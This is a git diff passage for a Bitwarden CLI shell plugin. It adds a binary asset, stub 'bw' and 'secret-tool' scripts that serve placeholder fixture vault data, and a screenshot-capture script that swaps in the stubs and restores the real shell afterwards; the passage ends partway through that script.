zcVWgy;EBgd>PJTU{UDhjDUkUAOr@&0H{M`RcosYQh=$Uebn0v$muJ}aZ?n0ciKr3!- zSKbpGj|+IIIv5%t=9LGCiiQXVb~?AXr-?l({hV^&15Nc}`|2q+V3N01yUDDouD*&N zZ!spKuD<>;&%SyZFWB)PAVjhcvyl0$(RQXC&Icy55*D(+Vd`yduxRVdZv;!W&O8U+ zBu|`d7vcVP*UUaBaR<36TJ#obqJ8k2TX}|{<_3y(1WI7Hq$@LGh#bkqceSB~I4sy0R+ndzN4&G1OAlo^_hocXPeP zY$Kj~tTuJtChCNorlD+Vy%aBaZ?VkQZ8(SKCIVifV|U0rSJu!KE9@R*DW9mRO7tC% zOO4y`SF!U&2IW=@t4~uorcG2PONwLJBwaE>E^CyRG?u!5iL7Ze>aO*k!jC;T?+$mx zSgE=KzIhgEXM=or+eG<&VqVKZC2q+6k6+4~jG0gr6ypWEe@Csc`_cjUiVX~Q04@iZ zSn2GC_|R*gH-XZB&_kYknR|td1#3gq;qEiO=3Z7G?N=4;*Hpj1=WT0lwlsr1_dGyFA?xrq^O-k-Js_q*U@6I*H zK+#dZi)lKzWWEdXK&cBF#B!oCuOGBNs(}@qx+q}1ll*F={1tbt_#;}3p}(bs0W^}` zLF-c?ua+wTATO0?bORInp`i6)06*pP&L>*#NEdyKN0UyOk$D!VQ!ixor}Q4Ya?nY%9LG#04~Hede?9_jV+7q39E%;8Qg^ zBQ(e+H?ig)9d&UzbEDmdQUs3l@tk$kUE7t+k#y&%z;O^^S_MoF$`11<9?Y3QIJhL! zivp4F;fSLgdY#jxZVC&T#hbL#k*N$P*)D0py(+whK18YsA7Tvf_pKFX;`MoNr=*oi&CX zcfeXYn|JrJ-Zfx5&3{JOQty=+ou{hqE|mFc#* zv?|^@<6OB`%Rs3EuS<1vPJMG9jMb5#+XicMY#?_rG2{@et8ebwjp_>E$}WOl-`umC z80X`cpm$jlgTJ;mDziZQ?yr?nl}FDie`E~0tk`jF5f;+Gm(xLi$)}iCRQ1~*DB9zm zcPh{RlD~xt#qNEN@l|8a#0+9r1^iUKpTqk>G77r>CjE?WBzk?J@_ym26+^e~ymFkl zmM_7CK=^t7%z4f~w|y>sIpZ8JTT4$nmnhL0Db4V-uPYzjR(Z8#!!(7ZO(K}A-fIzO zVVuX=8`wnsf+cO0!^^M%IChB$;z^ZA@@|Vql5}hj`$A--{MTcv4{X+;* zG~}saR`LAuDh?Z$$UR0o8*Eb)G^&ki5U0T1*cmdyE*0TXNq9l{MPCZdx3Yj3G+&zs z4;CBZuDPBMV8r`w#7C^|ve{-S4On~Z^&0c*J>_$1j7j6peNhIXtPzeo7t&6((~<}) zyYYhWfnkr~RD0?o$YYg=AV%YA-O%485S=0K>^E6*8Q7mF)X}&8zZ#-PjRmUVYqhKWHd`u_B&27Lz;4@o}6z+L*RS z8#~8NaP24(BpAh}Q}~m;Bu2 z@;Mnq9Y04l%@?UpU1oo(kMpTOH2j?Y9JzA-=Zj>&q+}8qkvY%BC+E&De~;9w?9|^N zwJ#ccPbZP{La_-O9kuIgs+3>15titZf`E6CMy9#-Nk1t$xs5I3nGIwFi>nlO?OIBl zbZq(1SDZ?;yx>$4q3m$HX7R?gV&&S5Q*^#Mh+?U-P+h&&w19PRyyRM|a>YlQ!hLrj zx$;$M8X4`YdBni*x_T7hqrFzj$c^+P(_R%nk;07R#7!kt=;E_ZRArP3fIrTFl#@{i zh=mf9J=5YtS3GT2A!2+ic5SkMZV*M*&v7(_D3Q zQD~SFj#jO`tLkX+41a7^d9)G}PwhQtboXH6$s45J`hin`V)RMn(Z$Jw^>+iz6h`}9-1iGuuq0RJDg%<3 z2RMvJT&5QvGSkulVm-*Ycqcp5j{H^i``__KW;o7qa?!|#D{?O{!*w81_wMQi4!(SW zZTB0o(~p6PmYJ8i+JbxHdM;f5eEvaPbGYS-?dXEpY~Wcz7Qz{!%gXI&7Ff*04PA1+ zvVL~<4nk%HYzEF*5%YCiudy$S5W`=6jQc!);aU^t0NjK}G4Bi~Q*xBNZg%o|gwS21 zG=$Y%)LWJyODn8gA@UwKk6D$ylwGzVj0kSp{8rA>ah8LTI`NV^k%KJpl6o^fN;`T- z-SraCSAcf(ii)4Lq*v65;vA=mTrhI?JhrII%`}^P50-0o^4~ z`Lhelcw#4W+slSm)QP!HW?WSIvY92E<4hFiI8w6SUp}*hbDW9T`cs*SbDS?(&4hED ziT#|+`hWS%lyjVk1DuS+InI|V6&+AdkC38i=T(88pF*iTkqWoAm3YORc`7VB{@J;v)$xe;Y@HRb2@i5hKjBbN# zl`*OY=vY#SZpuE{(WqfmzJ#ged>l9&j1|cMP4Ghjao28b^%osgvLmLR*STlxuGvPb z1WGnxkjK63B<>C0z1<^juk!he^1%`GPw{)Trb}!s8Dz$uNB+fyZZ{W#80@Z%K?I+J z<#K8e!@@|iY6=;yTq5_!UsMK;(AL-*>jFSGU%a5Nu7I^e4iuPYYCTM-u~`U)BIOGL zMf+rB$C$$SR*&_TwZnGZiQ7@JBE%9L>7HPwgjJ6>Gh5k)VKB9T*6Mso9lOxy+88Kl z_eR3o5XD7%^_0I4%HQgua3IC+SwSUq? zrQ&NL@4u>>4viHTPHRLq_!4f;;Dx?pY(uazGOH&WaLKjhAyz~BXX+z%|8U=(E?S4G zm1ex1&=+yr@_yvbxrzejVNWOC?290Vx{TIloHWFTWycOoO zmF;*FUsGpP+NgRYyXhA)@DLJ<8}yklQU%Y(KcrN_rg*`1Y?vs2F~=-q$0{;>h47m0 zvU;vz+5DkrNP<87kVyv1+VF?u#BFcoU8^C!+ZVYT>h`doDlJ4<=d9-^Gp}Ng&i!K6WLJgz{_5Y85;dw;aF-NrvZD7WjHt7Bv!$=`g4fun(_I~9uhQPM^8t5W4t`OTL&3ao z9%k99_ag0ChkEb*h=uHT_wvd8fwcr~7cMyYbIMz&cDgp1h?#Z!)L|d{RoiKakXgZi zPZjlGto=0M&DlyqJ(!{r+KQZ{+^)$U(nVzA1De0P0;1s9ffJCUiipGn`>6jI#MYoI z&B}&@P1TP1<;@M{yO|9yDI~UJgxbD6&CJJ6@rs`kM8iAO-UlX3?b~_;?2XRNl9BX} z9l`#qnf=%9i?)_e-)cL6+uzr7+fKZ=?ZRuzt_kkt_*BE> z`I?F{2A(*DzTaDbPrWtAJaZ3=(>9NFc-9}P6}79bu!kpKu7t@v)dy_?$oyJ@Vb3<%%V=?^!iOc?8@9j(l+jSZ}2hC zN@<^jyqepov=0WDKcs!O+wHUV@3zln$@aOXL;EPFcIaHuKJ9k2KbLG*)de_rF{b5=a43S`?TQ}Z;)yvt3f8BC;v6kJaW$#3wZNm&uChaP}6Th zrq#!mX?Ya&#fLt@x)3?ZmOR~c)<dDL6fSZMVv2%2)-=8k2 zwEkOX_)1!(X1hgf&QoT)_fY0=MnjUm9U+{%R?a_Eq209u7^F$UU(c{j5dLjR!Z-QF z|J(E*o26TM+c4EP3p%#%rz|F^{c+0R&if;Y???|1+S0?GrySQOGXI(b&mk&@o{D7* z!i;?4b3ccbDPc}vO0Yc=&AwQSOsHdP#ji92`l>KT9T<~Ky2~N9FeYo!rQ|y>Ch7~4 zzikto^#l2%oDE0DC8+lTn|g0yqrc6wIw_HT=@F60u5%=^+ni}6DUm%Kd%&jgN4_f4 zcar}*PQLn1syueXAW|g8L+AKTi@s~O=&AvU7S;a5TnsfW!Fv~)PRgrhfUHGk8e@%2 zjFJ0uBjX)mv{UtKRn-k)^oEEjj6S~VAICy=)qi;ANAU%nmtV`Dcb@iT>bv2jkhwmZ^!lAy{xHjpEKnp_%${l?VXpdb3JMcH3qdhjkLZ?jV{q52k?V-=}zk?*eZyi$tjPK?K zBVowkZFSUxM8b9#{|S3w4;*=7Xa)JZHLWp#EVpe36UltJHY0X34~btz>y{=q zzp;F^KlQm@X6x;)SxZ_pnTN46mK|SW{36B;49$pMHn-}?uV$QHefadySE>(Rhtf{` z#Xw1OxVc4+6%G7}9Q6$qO(V9%i)QBsU4P~DI(E0gKX5oQh+L-(l_OSUuy4;iPkkhD z#tN);#y3<(T_k<=OIe9SRu8sQJ>52Xx;4ax+Hslcm=$Yzv3@q7i#lfYSR3v7S<_Yo zT<@@LUI1}0&$%-84dBEM7Wn6Awm)Gt4r?02O?g{4XKIztQu|_m$=mF`>)a15r+Pk& z#69#U9xzT9x=;i>ec3`cVbXu}YK8Ua4+RUufnCbyhfa|=4(V3lox)Q!Cd)zjo}dsz zBg3ywT@ffcf}2brSY4Ps0MQP{P+u1z(kO-axa`iWj?A6WGZJ1PvGJ)(V*Np{@)fN? zw|W?Q)e7#UlFg}O5p`~R6)!UiJwgu|p1JMn@HAf@h@*3(`zDPM5AW{;! z=e>{UOcAG(&OL9Z2-EDeD077)GQLgu!c(qT%-02bL$2K|6|^4NpGo#K9tYk>C~CZ5CZFgy zo|P$nEZLyV!gzlHaYV;>y}qK)Cfjzkyq*?_R4^3p8=}S{TLjD_y>72V;ct2(=Rs^u zt8j;$vF}f}2&GN^i*N3cxuDJHE7l`LV(6fU2FK1~Blc#pPwnU_L!7g#a1W`o^9kyU zW6kT#<>8fs6Z#H_dHzrI z`=aGvaD4u+Gi^EJDz*G$zHt7<$LBvQnLoagI!utM?@P|=7%yImP$`Lyy7w-j=IrVY z)Qr_zl%f%K+#hg1zus$Yz{KT}(qYWk=(N6U;lSa^o#?;%x9(qD8gP5j?Z#%ouMdrr zEI04>w;k|{`Rnz>`|E#Z=N7`6$V{00uu zcJL2{#&v;{-;(2Q>%dwpG*>dy%Co<%HFgHy33RJN3|SZwd&p?n1I>{KPg^T^yo#p( z>rQe8B8vk|diEXn@Q83CGu}jpIo!%@lj9zi!{Wu{1ttw_)vNOjzqOIvuMSK z{$Ac$JTh9Ec$J7R|I1{-@Ax~>yT;Dd51%uf;^6&(5A-+E^l+X}1AbB(_+a3D(!fUm zm+h+l>3sSFKV1U}HT-ViL(;%U0`HavF5aj3|8xJYbuf1l%EYUG=J!WvAmQcC^ErIv z6a(JNc`hbQ*G@Ztk2UahyKV;NO9TG|*trH=m-7{1R~vAh&mma2i_^f15%_u2z^?<} zZ@_i__fxNc0oVD9&WKsx2@cMc@SX&R`ZW<=>O9@ad?aI0|1`V?_}4X%P{X@2 zKT6s3Ps4jKIQ7_;I9=Wt1u*k5;iu_L4E(=>-!BdPA-cHT&@j2R?_;oWC?ZSSfHlE_CQ5?=;Z)$Tv$2EZv?@Ql66yxGujJxH&HM zJSg+y83w+FF9BxOSHqtMKHk9B`3LFuZ>E8-2d>*nqBWhSuCE%Nx-RPcWsNZBakB03 zlT%*vXW|N6mtW)b)DKRW`fjczf|8Sh&$8a(cOra~#wB6u_fq@ck zJN(QwTOv~9Q`;xC{r;=zPxQSL!*`ljNi(o1T5Dm_RU<(GMC|Ha!a&{_Nbv$szw{poe|SthF@1@ z;LY)(;ZFfK*G}m#`5k1RXnspS>(ItZ{+;YR{+7@jdm3Md$rSdJE>jj2?`A~m`aTBC zq=(MRXC&?LsK2Yj4w1a*aV_Ixs1d2@@k%C^ere$4Dey@SP8;TX{BoLawqH=E1>YP`8ZMp|OkPdHy8$K1{!jcgJdgs{<2&_y;VLKPcJQ+kxnyK$_wInoJ}wRZEx=3D!0!Xz z+koqN>_cF~(!ihX1illvxnAk=JPh1i-#Tj_E!(LC-(0_S|9$}6T(4vul%LQ~FZ)sb z)$saG;G!m!4qxP2>EJ&l*L3jNoxtA#ZqlT$l5+l=5i!^PS+Q(z(WO>;zxVAHX#7uspUgk~)9?xaCcSC+ zJm4lh==Hg?bydT4sK28_U7zg$3N?^W!{6Z9Y!?lG0eB(*^iR+GzX4FFfrJ{qi04B7 z>7Rzb2*8}LHT?I$3pFyKuD`^aaE+hm%E&m?z(3KWo|oLDGwY|}-8z9ECgV{?<{JMX zFf*TTIXE{G4oQQ*ADFrB=zLxSZuYx|dw_oDJ`I>jhdTeC0#BF! z&w!iriN=2d_}BTTe;OVJkS?ElfTt_xeZbR|a~ALd{^_3{M^^#pr-6i;ze+ui(Boa| zJJ`V2a9Q8X{553$hSd^)($ph-VEpRMF`lFs~dgqqjrtQ}93#nleN zFZr%HKWlhC>&}%%CK~PoZqi$+gVR|#^m-*@%%oqTTlp>JpPAnk3Yw9zhp@NvEP;ma zO@ZrtenmaZ`E<0ARvtB;n6xtcMZ<>zH|buF(^2k@e4U1$2i)wh6Rm3}iXY&Vx3hNC z)uEbcf4W?Qi8b3zuQ!{3oAuWCIb>+!Yj|b~JncsfpicKIU?v~0;ZFiL*AESsd3<1+ zeC`BxW*Ycyo#6i&c)I+52i&9!{oT~_bq!ygf`19`@)PxU%ys*z03V`ae1IYYxIroaoG zw4Jr9F7LzOnRKe*HNekx@{mBo=kjcpOXsgcBZ+#{a2@`m<8^yUe+@D+*YL%_`WkRu z4jmd%>QT3+w6iHE((v(}z~%eqen#U+9{==DjB^Y;4NpDCI1zu;S$TDSpZA*Wnk9pX?;~ zEulHS^|*MK_86I(X_|NaeI2HvXt)kj*LW%g=J4ex3D~F1HT<(cjnk>M%8bJ^rE)wMj1;Ux%sb zG+c-OZ1H;j_(#oCI=_FG`N-=u_@xk5kWqoJnC~-4c2s-x{hi1tz=;4q2a#)Xs+9SC&L^Tw{-ZIb?qp} z)A`H>zfc#3P{Z#7J|GRe8n`Jp(D*NaTbKsF9$0q+{%z;E524$D3qK$~;bBfuPxc=T z7nsRMXt>CJ&PanV`4<{+J$`j)M5#wzkAbw)Fe6gK_reE{NCSTlxVau`{1)It)8Ll? zFG~Zzpp$$q1b(`KulxBQHQsf3Q|V8C=kv}3x<6zbnDPn@-vL~&VNx9pe~4$3jy3$J z!21ZI^V9H!yr+Z9H_drn;|pzk9(tPOeCH$92eZ93z39+EO9Xl!T->wcxYO{FDR5n` z!Q=p`C4L$%bCWrKHC)=RB!Qi5KMyc-p40fk=a_uDhTjF;oVPUmUf}8aXD;xQ`KNyx ze;$Bz@c-&K)%g!6f0O^zaFJ)FgZnyxiySB2JR|L6!gc@ZkmwG-&c=x@*CDW_@AOZ@ z4+2OB&v2!Ow|9b{+X;TxPT)O(57vbt)aB{b30&kX>F7e%%XIKc;OXc~?s=pe|6d0_ zI8AxJ(Ft7iWlXt?F8}X3fy=!(b8Xf5a!!?QJc&MntR4EN@z-CMoUb*09dMKH(D22;&2?VG<-2Bi^!U{w(H(vo zuEP$Iyy$h{*U$m~Cw_XrxfRIi320JY^eV8tH1L_g%=ua8BkP{fi2iAKXL70=K}?5V z4Sbl+gz#eL`Fz52)4+w7HQ~A)vJ71F(eJ!0ChTWK=yWo7H5m-7xHPBtPh zb)FXyn*FWYCsqES;s4$Jau&oe)F`L^?pJ}E^OT1718&Zb8ZL4pbNrj|bnP&N$*Yg? zT}@-1wX1=u9)k`*&Uwp>NS$7XMpTDKUA{d)zexYCEpWyqE8q z>*^QH=bsJ#RHt4;b;CHJuJ1_dYtHYQPIQ=(ETLQ8S$wIJptE?LpYRd#dz6XW?B`)N zIAd?uj(nSj%RM1;K5@{G3pCGR(uyEy`kIo{aoyGQD70&~hlWoCZt?-T{gyJ`Mo7la z&zx`4!G8;$xen_5ucjZ0btZ&5pZ?^3jse$WWd$%@M~T+(l{}k$t$C3X^@rpkzsv0) zV>F?;F5KY2H+NE=mw@YU3F;Re2Tt}Gh0eq0Ew4^D!Fl)|^U^mokkIEmuO~F=M(3|X zBZ+#{b?Gd=&`Ho)yv~niN&C}t~n@2`RKM!9gmvcWPUfx zs^RAWH}luz&NSLV!*2v$ zlm`APFq3|-ba2EG)7b|84bJmVpdWJ{(Ceh|duBUa>)^}WX2LbT+-oRwa3qlVPJZVz zp7h)z?;3s@aI;<-E_}h)1kw3v`0$i`blru|H0fWre^XXR{#nB(v;Ld&vo71y+gyq?*eRDemka2-4qW6Hro2GIW!#zku!c)n^jMQDbUByNFDBiVOC-N2|IGH+ z?K78hns9~8AHe^R--+h4FZz+2odma1KxrHOyTo~Tm-_eBKtjD&PHp!>2j@id=;+Uh zcbS8CA>}gLU(@+9=uq~S`lr9ELk;gN)Ob4V3{S)L+HHs zkJs=Y12^Y?4gV$Z?)=j~4SxVYx_oW}euhRS)b!j!yXmnh(YoB`*b?|)`NJ<2uIWO` zXpYk<3Ogg?SwfS}^>=RqZjPht9sH@#k-08txY+qI^U?5YJAsQGm~{9LP~UX$*`2^2 z1#Y&d{%&hZy)^v&6nMa?m&~2!cXfX~3EW(dCOh~teup{F66870ozbC&>(EH59(B9l z!JAnQjjzMhbQ-S1)ObD4HqlPzIGg4miX7FXuM^En|JC@^@_pWSJufe1zBt!Nq~T9? z0{<0obG^~{;$?hX^OA;(eFROL@?j0%27R5aN@D-f zG22V2iDhs>qoLr`_ph8rbPnyW#e@{#Lk~NZZ%w-aGC3yhMz`1on{n9!_NSI zdK$R+!!-Bn8vkSH-fTY&|2lb??WEx{C!~W*yQhQ8Jky(h`ls`eeZnveB-H#%1<#s? zlV}Ye%X1F_I6n=)fcJFp^E!dw30%(+l9kTqE}l)kTf=7nA1sK@&xHFlkWj-bc{b@< z!$ZK$c}m0Y2cGV`&jOdVTmLlvQUK}7^DuC~Mkdtw5uQ!@G2zme`lsPP2QW$l2{n8k z&*pwh!)t(>bfw`BrNB?LzJlK2H{5wkJy+H9kPbT};ziF#seFNkr>-xW?~(O_E#Lod zf0~wLO*F?{u~Xv*nIB9#)bKG~JI)UpUIV<)Xsr_GSzzXRqv0~{&G|v+a~t`XELd0`cTQ$YC!^&}h~m zxQap!IV>WQgXlrfRS*#o6Gc({iSKp2Z?>kWiW|HLR>AbE`s#hJUcK(F?wNVhqvQJf z1K`g)>>MNf9yqVrVcceCIpMcj^j8pmiv{l|T)(cupA8OtfN=e~0R2J2@3h!w+-Co7 zhd$#r{jG$ru-Iq(MhkwQ!_GDbzMXK}ycoCnGvvT`Iq=;M`;6P{-%q$Lo{Zb{?;>3P ztOCd0_jF&QAD_T45x!Q78*uaU2B^^O!xf9GAJ>wXNP+JKQ1(cLuhIH?d9~~NcCqsU ztvmX0fOQ=b<3a+51P=MIRF0EfJ>Cxr&etb>ecCBFKVMv*&jW%VrTObIy4rbS|2$3W zmVVv?KjXls9QXlpvPXPl0XvNA>jdUy{yuJ(aK9v}&lmW&29EtbNw^+2;71A9??b6+ zE!Zz_Q?EWQ@M#DBj)9lN`a^Uc=yrw$|D1M~4gbP{&pPm@$ezBxV1GRwC;Iy%;6=jq z_yFhU7TNIEjCn!-v;%+LfloQ`Hyt?VyV?9VpEm)2Hj}>1|1%EzZy0z)Z7!Tor|%cw z{JoA1XMb#XLikE$GTp)s|9?ZD1%Hlk{k(ua|3ikpJ^E)9RAa>fRwfb(pJoQP;YVYK^Y(Zf9f&a2-qUvBc`h?he8wUu#to0gVo zd6Nj<_&J4Rt;7A-Z({FNAudyDncT;!Ld#BCav~RsoP1HOf_Sfmap`s|Et^DX9f8V0{afcbbJs3Z`0XO+db(@)p2?K-{RW_J!aQ5%_abC3 zE%T&%H6H;V0UrS$0UrS$0Uv??eFV(=srd#3yld!g4t3^U?akd#wXr{L4Q7Xiwq^^3 zARiR7J$+Fnj`lallD>8;>Z{cb)O$x;&3$o{q>b$QLR`+T8;Q#6`@@lFZEj>BilTBc z3X4%(Si2!A#PP_6IJb`S{#s-0B+4F$TkUGIkM>&>rQQ;vu8g|YlTWelqhYyRZP4tKdMT=^!PaA7xKksr2>h(EZ8uQOU_H<95V3#kP2iLM3H75E9b50e15J8 z7s!>W+1Z+W{#_O4s$qQOuR&grgfbTFJMznr*H$2m-uUoi4$^{rGRXG?$GFgg+(`YL zdxkdh&mfOTz<6Aq8tjPK^f{8hXnf?)K_dR(!GG`{5xW>4`FW7Y&x5|X{~o6fwhcb= z4dp<< zKQMsG{wLb+3!k4qz$GjBpxK|4|Hl;E*_!b?Pd$u*k9^Wo!r$Ius*1_~fZ&^$ zFM1~5)JGfg6XNk6TA0bE7Le~cCF7g(1us>m%~$l|{fF_-$^6d=|I}V+Drxe6AefIG z@bP(5zY8D|2?Fnc?4C=zQcCPmU>m4-_4I zel9ip1pj9wKY2#@MI;&vU#8QsdK&@y_%ko7al!8>N(J)=zUm+Nn~d>IK0o(L_kZz} t8h`N-CBMT!j`4FczImR2f7amhT)99FPzAA5J!<=|jK2kn(rGj^e*+*LPQ3sC literal 0 HcmV?d00001 diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/demo/bin/bw b/plugins/io.github.elevate08.qs-bitwarden-cli/demo/bin/bw new file mode 100644 index 0000000..46e5efa --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/demo/bin/bw @@ -0,0 +1,80 @@ +#!/usr/bin/env bash +# A stand-in for the Bitwarden CLI, used only to capture screenshots. +# +# The plugin resolves `bw` from PATH, so putting this earlier on PATH points it +# at a fixture vault instead of a real one. Nothing here talks to Bitwarden, +# reads a keyring, or touches the network -- which is the point: the README +# screenshots can show a populated vault without showing anyone's credentials. +set -uo pipefail + +FIXTURES="$(dirname "$(readlink -f "$0")")/../fixtures.json" +j() { python3 -c " +import json,sys +d=json.load(open('$FIXTURES')) +sys.stdout.write(json.dumps(d[sys.argv[1]]))" "$1"; } + +# The vault state the fixture reports. `unlocked` for the populated shots; +# `unauthenticated` drives the login screen, `locked` the unlock screen. +DEMO_STATUS="${QSBW_DEMO_STATUS:-unlocked}" + +case "${1:-}" in + --version) echo "2026.2.0-demo" ;; + status) python3 -c " +import json,sys +d=json.load(open('$FIXTURES')) +st=dict(d['status']); st['status']=sys.argv[1] +if sys.argv[1]=='unauthenticated': + st['userEmail']=''; st['userId']='' +sys.stdout.write(json.dumps(st))" "$DEMO_STATUS" ;; + # The new generator reaches for `bw serve` first. Exiting immediately is the + # bind-failure path, which is exactly the fallback we want exercised here. + serve) exit 1 ;; + sync) echo "Syncing complete." ;; + lock) echo "Your vault is locked." ;; + unlock) echo "demo-session-token-not-real" ;; + generate) + # Roughly honour --passphrase so the generator screenshot looks right. + if [[ " $* " == *" --passphrase "* ]]; then echo "Correct-Horse-Battery-Staple" + else echo "Xq7X2mFk9TbW4e"; fi ;; + list) + case "${2:-}" in + items) j items ;; + folders) j folders ;; + organizations) j organizations ;; + *) echo "[]" ;; + esac ;; + get) + case "${2:-}" in + totp) echo "418 623" | tr -d ' ' ;; + password) echo "placeholder" ;; + # Attachment bytes never come from the fixture file -- the panel only + # needs a file to appear where it asked for one. + attachment) + out="" + while [ $# -gt 0 ]; do + if [ "$1" = "--output" ]; then out="${2:-}"; fi + shift + done + [ -n "$out" ] || exit 1 + printf 'placeholder attachment, not real vault data\n' > "$out" + echo "Saved $out" ;; + item) python3 -c " +import json,sys +d=json.load(open('$FIXTURES')) +want=sys.argv[1] +for it in d['items']: + if it['id']==want: print(json.dumps(it)); break +else: print(json.dumps(d['items'][0]))" "${3:-i1}" ;; + *) echo "{}" ;; + esac ;; + send) + case "${2:-}" in + list) j sends ;; + create) echo '{"object":"send","id":"s3","name":"New Send","type":0,"accessUrl":"https://vault.bitwarden.com/#/send/demo3","accessCount":0,"maxAccessCount":null,"deletionDate":"2026-08-28T10:00:00.000Z","passwordSet":false,"disabled":false,"text":{"text":"placeholder","hidden":false}}' ;; + delete) echo "Send deleted." ;; + *) echo "[]" ;; + esac ;; + encode) cat ;; + create|edit|delete) echo '{"object":"item","id":"new"}' ;; + *) echo "{}" ;; +esac diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/demo/bin/secret-tool b/plugins/io.github.elevate08.qs-bitwarden-cli/demo/bin/secret-tool new file mode 100644 index 0000000..67af97e --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/demo/bin/secret-tool @@ -0,0 +1,36 @@ +#!/usr/bin/env bash +# A stand-in for libsecret's secret-tool, used only to capture screenshots. +# +# Without this the fixture shell talks to the real OS keyring: it would read +# the operator's actual Bitwarden session into the demo panel, and the shots +# would depend on whether that entry happened to exist. Neither belongs in a +# screenshot harness, so the keyring is faked too. +# +# A session lookup succeeds with an obvious placeholder -- the panel needs a +# non-empty session before it will load any items -- and every other lookup +# reports "not stored", so PIN and fingerprint unlock show as unconfigured. +# +# The placeholder carries the running boot id, because that is the shape the +# panel now demands of a remembered session: a token from another boot is +# refused and cleared. Without the prefix the fixture shell would come up on +# the lock screen and there would be nothing to photograph. +set -uo pipefail + +account="" +prev="" +for arg in "$@"; do + [[ "$prev" == "account" ]] && account="$arg" + prev="$arg" +done + +case "${1:-}" in + lookup) + if [[ "$account" == "session" ]]; then + echo "$(cat /proc/sys/kernel/random/boot_id) demo-session-token-not-real" + exit 0 + fi + exit 1 ;; + store) cat >/dev/null; exit 0 ;; + clear) exit 0 ;; + *) exit 1 ;; +esac diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/demo/capture.sh b/plugins/io.github.elevate08.qs-bitwarden-cli/demo/capture.sh new file mode 100644 index 0000000..1e9e9c8 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/demo/capture.sh @@ -0,0 +1,213 @@ +#!/usr/bin/env bash +# Capture README screenshots against a fixture vault. +# +# Restarts the Omarchy shell with demo/bin ahead of it on PATH, so the plugin +# resolves `bw` to the shim and shows made-up data. Your real vault is never +# read, and the shell is restored on the way out -- including if this script +# is interrupted. +# +# ./demo/capture.sh [output-dir] (default: docs/screenshots) +set -euo pipefail + +REPO="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +OUT="${1:-$REPO/docs/screenshots}" +IPC=(qs -p /usr/share/omarchy/shell/shell.qml ipc call io.github.elevate08.qs-bitwarden-cli) + +for tool in grim magick wtype hyprctl quickshell /usr/bin/python3; do + command -v "$tool" >/dev/null || { echo "missing required tool: $tool" >&2; exit 1; } +done + +mkdir -p "$OUT" + +restore() { + echo "restoring the real shell..." + # The fixture vault's SSH key gets projected to the same directory the real + # one uses. The real shell rewrites its own keys on the next load but will + # not remove a file it never wrote, so a demo key would sit there for good. + rm -f "${XDG_DATA_HOME:-$HOME/.local/share}/qs-bitwarden-cli/ssh/Demo Deploy Key.pub" + pkill -f "quickshell -n -p /usr/share/omarchy/shell" 2>/dev/null || true + sleep 1 + omarchy restart shell >/dev/null 2>&1 || true +} +trap restore EXIT INT TERM + +# start_shell +# +# The fixture shell is restarted per vault state rather than driven between +# them: the panel reads `bw status` once on open, so the logged-out screen +# cannot be reached from a running unlocked instance. +start_shell() { + echo "starting shell with the fixture vault ($1)..." + pkill -f "quickshell -n -p /usr/share/omarchy/shell" 2>/dev/null || true + sleep 1 + PATH="$REPO/demo/bin:$PATH" QSBW_DEMO_STATUS="$1" \ + nohup quickshell -n -p /usr/share/omarchy/shell >/dev/null 2>&1 & + sleep 6 + # Park the pointer so hover states and tooltips stay out of the shots. + hyprctl dispatch movecursor 100 100 >/dev/null 2>&1 || true +} + +# Crop to the panel itself rather than a fixed box. The panel resizes with its +# content, and -- more importantly -- a loose crop would put whatever is behind +# it (windows, filenames, terminal scrollback) into the published image. +shot() { # shot + sleep 1 + grim "$OUT/.raw.png" + local box err + # Keep the locator's own reason. Swallowing it turned a theme change into + # six identical "could not locate the panel border" lines and no clue why. + if box="$(/usr/bin/python3 "$REPO/demo/find_panel.py" "$OUT/.raw.png" 2>/tmp/find_panel.err)"; then + magick "$OUT/.raw.png" -crop "$box" +repage "$OUT/$1.png" + echo " wrote $1.png ($box)" + else + err="$(cat /tmp/find_panel.err)" + echo " SKIPPED $1: ${err:-could not locate the panel border}" >&2 + fi + rm -f /tmp/find_panel.err + if [ -n "${QSBW_KEEP_RAW:-}" ]; then mv -f "$OUT/.raw.png" "$OUT/.raw-$1.png" 2>/dev/null || true + else rm -f "$OUT/.raw.png"; fi +} + +# open_detail +# +# Narrows the list to one item and opens it. Typing the name is steadier than +# counting Down presses: the list is sorted favourites-first and then by name, +# so an added fixture would silently shift every offset. +# +# The Down is what hands focus back from the search field to the key catcher -- +# with one result it clamps to the only row -- and `e` on the list opens the +# detail. (`e` again, on the detail, opens the form.) +open_detail() { + wtype "/" 2>/dev/null; sleep 1 + wtype "$1" 2>/dev/null; sleep 2 + wtype -k Down 2>/dev/null; sleep 1 + wtype "e" 2>/dev/null; sleep 2 +} + +# Back to an empty list from wherever open_detail left us. +clear_search() { + wtype -k Escape 2>/dev/null; sleep 1 + wtype "/" 2>/dev/null; sleep 1 + wtype -M ctrl -k a -m ctrl 2>/dev/null + wtype -k BackSpace 2>/dev/null; sleep 1 + wtype -k Down 2>/dev/null; sleep 1 +} + +# --- SSH signing approval --------------------------------------------------- +# +# The approval screen exists only while a real signing request is waiting, so +# it cannot be navigated to -- it has to be raised. `ssh-add -T` asks the agent +# to sign one challenge with one key and nothing else, which is the smallest +# request that produces this prompt. +# +# Everything here is the fixture vault: the key is the throwaway pair in +# fixtures.json, and the socket belongs to the fixture shell started above. +# The request is denied rather than approved, so no signature is ever made. +capture_ssh_approval() { + local sock="${XDG_RUNTIME_DIR:-/run/user/$(id -u)}/qs-bitwarden-cli/ssh-agent.sock" + local pub="${XDG_DATA_HOME:-$HOME/.local/share}/qs-bitwarden-cli/ssh/Demo Deploy Key.pub" + + # The helper starts with the panel and projects its public keys after the + # vault loads, so wait for the file rather than guessing at a delay. + local waited=0 + while [ ! -S "$sock" ] || [ ! -f "$pub" ]; do + sleep 1; waited=$((waited + 1)) + if [ "$waited" -ge 30 ]; then + echo " skipped 13-ssh-approval: no agent socket or projected key after ${waited}s" >&2 + echo " (is 'Act as your SSH agent' enabled in shell.json?)" >&2 + return 0 + fi + done + + "${IPC[@]}" open >/dev/null 2>&1; sleep 2 + # In the background: it blocks until the prompt is answered, which is the + # point -- the prompt has to still be on screen when the shot is taken. + SSH_AUTH_SOCK="$sock" ssh-add -T "$pub" >/dev/null 2>&1 & + local asker=$! + sleep 